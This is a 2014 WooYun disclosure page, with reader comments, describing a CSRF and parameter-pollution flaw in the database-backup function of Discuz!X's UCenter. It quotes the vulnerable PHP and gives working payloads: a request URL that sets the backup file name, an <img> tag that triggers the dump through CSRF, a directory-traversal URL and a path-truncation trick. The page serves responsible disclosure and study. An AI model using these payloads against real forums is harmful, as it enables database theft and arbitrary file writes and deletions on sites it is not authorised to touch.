当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(107) 关注此漏洞

缺陷编号: WooYun-2014-76080

漏洞标题: Discuz!X一个为所欲为的csrf+hpp(站点脱裤,任意文件文件操作,目录穿越,可能其他cms躺着中枪)

相关厂商: Discuz!

漏洞作者: menmen519

提交时间: 2014-09-14 22:45

公开时间: 2014-12-13 22:46

漏洞类型: CSRF

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 源码分析

18人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-14: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-13: 细节向公众公开

简要描述:

Discuz!x 一个为所欲为的csrf(站点脱裤,任意文件文件操作,目录穿越,可能其他cms躺着中枪) 求闪电!!!!!!!!!!!!!!

详细说明:

此漏洞来自dz公司的ucenter,这个ucenter,应该是在数据库备份操作时候,没有做csrf防御可导致dz被文件操作,脱裤等等,开始分析:

30.png





下来我们分析代码:

uc_server\control\admin\db.php:(85-ll6行):

code 区域
function onoperate() {
require_once UC_ROOT.'lib/xml.class.php';
$nexturl = getgpc('nexturl');
$appid = intval(getgpc('appid'));
$type = getgpc('t') == 'import' ? 'import' : 'export';
$backupdir = getgpc('backupdir');
$app = $this->cache['apps'][$appid];
if($nexturl) {
$url = $nexturl;
} else {
if($appid) {
if(!isset($this->cache['apps'][$appid])) {
$this->message($this->_parent_js($appid, 'appid_invalid'));
}
if($app['type'] == 'DISCUZX') {
$url = $app['url'].'/api/db/dbbak.php?apptype='.$app['type'];
} else {
$url = $app['url'].'/api/dbbak.php?apptype='.$app['type'];
}
$code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', $app['authkey']);
} else {
$url = 'http://'.$_SERVER['HTTP_HOST'].str_replace('admin.php', 'api/dbbak.php', $_SERVER['PHP_SELF']).'?apptype=UCENTER';
$code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', UC_KEY);
}
$url .= '&code='.urlencode($code);
}
if(empty($appid)) {
$app['ip'] = defined('UC_IP') ? UC_IP : '';
}
$res = $_ENV['misc']->dfopen2($url, 0, '', '', 1, $app['ip'], 20, TRUE);
if(empty($res)) {
$this->message($this->_parent_js($appid, 'db_back_api_url_invalid'));







这里的意思就是,当你发送一个get请求之后,然后php内部通过fopen完成剩下的所有动作,漏洞产生在哪里呢:

code 区域
$url = 'http://'.$_SERVER['HTTP_HOST'].str_replace('admin.php', 'api/dbbak.php', $_SERVER['PHP_SELF']).'?apptype=UCENTER';
$code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', UC_KEY);





看到这两句了没有,举个例子吧:

我们提交的http请求如果是:

http://**.**.**.**/index.php?a=1&b=2



那么当我们b传递进来的时候重新二次构造url,如果我们的b=xxxx%26backupfilename%3Daaaa

这里时候等于在内部通过fopen发送get请求时候后面多添加了一个参数交个backupfilename=aaaa



看到这个解释,就恍然大悟了吧,肯定后面有怎么设置backupfilename,本来这里是不会被用户更改的,这样已设置,我们备份的文件名字可控了,直接可以拿到,在看代码:



uc_server\api\dbbak.php:(255-334):

code 区域
if($get['method'] == 'export') {

$db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');

$time = date("Y-m-d H:i:s", $timestamp);

$tables = array();
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');

if($apptype == 'discuz') {
$query = $db->query("SELECT datatables FROM {$tablepre}plugins WHERE datatables<>''");
while($plugin = $db->fetch_array($query)) {
foreach(explode(',', $plugin['datatables']) as $table) {
if($table = trim($table)) {
$tables[] = $table;
}
}
}
}

$get['volume'] = isset($get['volume']) ? intval($get['volume']) : 0;
$get['volume'] = $get['volume'] + 1;
$version = $version ? $version : $apptype;
$idstring = '# Identify: '.base64_encode("$timestamp,$version,$apptype,multivol,$get[volume]")."\n";

if(!isset($get['sqlpath']) || empty($get['sqlpath'])) {
$get['sqlpath'] = 'backup_'.date('ymd', $timestamp).'_'.random(6);
if(!mkdir(BACKUP_DIR.'./'.$get['sqlpath'], 0777)) {
api_msg('mkdir_error', 'make dir error:'.BACKUP_DIR.'./'.$get['sqlpath']);
}
} elseif(!is_dir(BACKUP_DIR.'./'.$get['sqlpath'])) {
if(!mkdir(BACKUP_DIR.'./'.$get['sqlpath'], 0777)) {
api_msg('mkdir_error', 'make dir error:'.BACKUP_DIR.'./'.$get['sqlpath']);
}
}
if(!isset($get['backupfilename']) || empty($get['backupfilename'])) {
$get['backupfilename'] = date('ymd', $timestamp).'_'.random(6);
}

$sqldump = '';
$get['tableid'] = isset($get['tableid']) ? intval($get['tableid']) : 0;
$get['startfrom'] = isset($get['startfrom']) ? intval($get['startfrom']) : 0;

$complete = TRUE;
for(; $complete && $get['tableid'] < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $get['tableid']++) {
$sqldump .= sqldumptable($tables[$get['tableid']], strlen($sqldump));
if($complete) {
$get['startfrom'] = 0;
}
}

!$complete && $get['tableid']--;
$dumpfile = BACKUP_DIR.$get['sqlpath'].'/'.$get['backupfilename'].'-'.$get['volume'].'.sql';
if(trim($sqldump)) {
$sqldump = "$idstring".
"# <?php exit();?>\n".
"# $apptype Multi-Volume Data Dump Vol.$get[volume]\n".
"# Time: $time\n".
"# Type: $apptype\n".
"# Table Prefix: $tablepre\n".
"# $dbcharset\n".
"# $apptype Home: http://**.**.**.**\n".
"# Please visit our website for newest infomation about $apptype\n".
"# --------------------------------------------------------\n\n\n".
$sqldump;

@$fp = fopen($dumpfile, 'wb');
@flock($fp, 2);
if(@!fwrite($fp, $sqldump)) {
@fclose($fp);
api_msg('database_export_file_invalid', $dumpfile);
} else {
fclose($fp);
auto_next($get, $dumpfile);
}
} else {
@touch(ROOT_PATH.$get['sqlpath'].'/index.htm');
api_msg('explor_success', 'explor_success');
}





我们主要看着一句:

code 区域
if(!isset($get['backupfilename']) || empty($get['backupfilename'])) {
$get['backupfilename'] = date('ymd', $timestamp).'_'.random(6);
}







刚才我们举例子了,按照这个逻辑走那么我们就会绕过去,不会在这里创建一个6个字符的随机数文件名



这里为了举例子,我们摘出来其中一部分sql备份:



url:**.**.**.**/discuz_x3.2_sc_utf8/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=xxxx%26backupfilename%3Daaaa





按照程序的逻辑,这句话的意思就是在xxxx目录底下备份一个aaaa-1.sql



我们访问一下:

31.png





我们去这个目录看看是否已经生成备份文件:

32.png







有了这个我们害怕什么,很简单的一个get csrf,这时候我们在论坛发送一个img

<img src=**.**.**.**/discuz_x3.2_sc_utf8/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=xxxx%26backupfilename%3Daaaa>



一切都搞定......关于这里怎么利用,方法太多了





下来我们看第二个漏洞目录穿越:



这里的backupdir 居然没有做任何限制,所以我们可以再操作系统内部随意创建文件夹

并且把备份的文件给写入进去,想想都可怕,如果dz的数据库非常强大,我这里只要一个死循环,分分钟让硬盘爆满:



url:**.**.**.**/discuz_x3.2_sc_utf8/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=../../../../../../../../../../../../../../../../../xxxx



这时候我们去根目录看看:

33.png







有人说gpc开着那么我们就没有办法阶段这一句代码:

code 区域
!$complete && $get['tableid']--;
$dumpfile = BACKUP_DIR.$get['sqlpath'].'/'.$get['backupfilename'].'-'.$get['volume'].'.sql';







说的一点都没有错,因为我们这个$get['backupfilename']是完全可控的,如果我们发送%00这里会被gpc转义为\0不会被截短,但是在linux底下就不一样了,每个文件达到一定长度时候它自然就被截断了,举个例子:

code 区域
$a='';

  for($i=0;$i<=4071;$i++) {

  $a .= '/';

  }

  $a = 'test.txt'.$a; //完整的路径为/var/www/test/test.txt

  require_once($a.'.php');

  ?>





在Linux环境下测试,你会发现'.php'被截断了.这时候我们就可以写一个php文件了,不做演示了,主要漏洞点演示完毕



下来我们再看一个文件删除的地方:

code 区域
elseif($get['method'] == 'delete') {

$sqlpath = trim($get['sqlpath']);
if(empty($sqlpath) || !is_dir(BACKUP_DIR.$sqlpath)) {
api_msg('dir_no_exists', $sqlpath);
}
$directory = dir(BACKUP_DIR.$sqlpath);
while($entry = $directory->read()) {
$filename = BACKUP_DIR.$sqlpath.'/'.$entry;
if(is_file($filename) && preg_match('/\d+_\w+\-(\d+).sql$/', $filename) && !@unlink($filename)) {
api_msg('delete_dumpfile_error', $filename);
}
}
$directory->close();
@rmdir(BACKUP_DIR.$sqlpath);
api_msg('delete_sqlpath_success', 'delete_sqlpath_success');

}







这里的逻辑就是删除某个目录底下的以sql后缀的文件,然后删除改文件夹,当然了这个文件夹如果是空的,那么我也就直接删除,非空是删不掉的



由于$sqlpath 路径完全可控,所以导致,可以再某一个盘符底下任意穿越删除sql文件,不管你是其他备份的还是这里自己生成的一概删掉



反正有了这个fopen的参数污染bug,那么应该还有好多地方存在问题,这里就不一一说了



再付最后一张图:

34.png





35.png







这些 我想就不用分析了吧,都是嵌入应用.........

ok

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-15 10:35

厂商回复:

感谢您对我们产品的支持,我们会尽快处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-14 22:49 | 苍崎深雪 ( 路人 | Rank:3 漏洞数:2 | 微光)
    1

    火钳

  2. 2014-09-14 22:49 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    看着很厉害

  3. 2014-09-14 22:52 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    csrf

  4. 2014-09-14 23:01 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1358 漏洞数:142 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)
    0

    好腻害!

  5. 2014-09-14 23:16 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
    0

    威力强大的组合技能

  6. 2014-09-14 23:16 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    火钳留翔

  7. 2014-09-14 23:38 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)
    0

    mark

  8. 2014-09-14 23:49 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    0

    。。。又是uc_key被搞到了么

  9. 2014-09-15 00:14 | Moo ( 路人 | Rank:8 漏洞数:3 | PS:不打脸,还要泡妞呢)
    0

    +1

  10. 2014-09-15 00:26 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    牛逼,csrf脱裤,1w的节奏!

  11. 2014-09-15 00:36 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @pandas 就是把以前怀疑的地方重新看了看

  12. 2014-09-15 01:19 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)
    0

    大牛

  13. 2014-09-15 01:23 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    我不得不承认,又没有给闪电,和明天再给你发一个shell,怒了

  14. 2014-09-15 02:15 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)
    0

    DZ惹着道上的弟兄了...

  15. 2014-09-15 03:00 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)
    0

    这个比较叼! 我日

  16. 2014-09-15 07:42 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    0

    峰会很有用

  17. 2014-09-15 08:41 | bey0nd ( 普通白帽子 | Rank:941 漏洞数:148 | 相忘于江湖,不如相濡以沫)
    0

    卧槽

  18. 2014-09-15 08:54 | 浮萍 ( 普通白帽子 | Rank:1030 漏洞数:200 | 沉淀)
    0

    为所欲为,你们这帮禽兽

  19. 2014-09-15 09:10 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
    0

    哥 出去玩了两天 沙发不是我了

  20. 2014-09-15 09:22 | 木马游民 ( 路人 | Rank:21 漏洞数:9 )
    0

    禽兽

  21. 2014-09-15 11:40 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    0

    @menmen519 hi,冻主,又是我,顾问团团长,这个地方也言过其实了,首先那个东西一般不常登陆,即使登陆上去,不活动的时间也只有1800秒,也就是30分钟,而导出的东西内有<?php exit;?>的限制,尝试删除的文件也有.sql的后主,我觉得这个东西很难为所欲为,对运气的要求太高了。

  22. 2014-09-15 11:42 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    @Ray 我擦,真相?

  23. 2014-09-15 11:43 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)
    0

    对,要是有限制就不要借鉴我的“为所欲为”的表达方式,你让我以后怎么用啊。

  24. 2014-09-15 11:46 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    0

    @pandas - -|||,临危授命

  25. 2014-09-15 11:48 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @Ray 首先你得承认 hpp导致的sql备份文件完全可控,下来硬盘随意写文件,其他的就不说了,就这两点就够了

  26. 2014-09-15 11:49 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @Map 操作文件 这里还有删除dz站点的风险,你们可以深入看看

  27. 2014-09-15 11:51 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    0

    @menmen519 太有限制了……,首先限制了必须在对方登陆30分钟内走到你的逻辑里,限制了文件的内容,限制了要删除的文件的后缀,这……不否认有漏洞,但是不是高危的为所欲为啊。

  28. 2014-09-15 11:56 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @Ray 都脱裤子了 还不高危啊 我记得上一个csrf 最起码最后的备份文件名字还要暴力破解六位数字,这得多长时间,我这个直接名字自定义

  29. 2014-09-15 12:21 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @Ray 再说你在看看7.2 根本就没有限制,哪里来个时间限制

  30. 2014-09-15 13:59 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    0

    @menmen519 uc_server的sid_encode内有个1800。 :)

  31. 2014-09-21 22:05 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)
    0

    +++

  32. 2014-12-13 23:04 | 道长且阻 ( 路人 | Rank:8 漏洞数:2 | 蒹葭苍苍,白露为霜。所谓伊人,在水一方,...)
    1

    学习学习 我要学php

  33. 2014-12-14 00:35 | M4ster ( 实习白帽子 | Rank:39 漏洞数:7 | www.m4ster@gmail.com)
    1

    @道长且阻 PHP是世界上最好的语言

登录后才能发表评论,请先 登录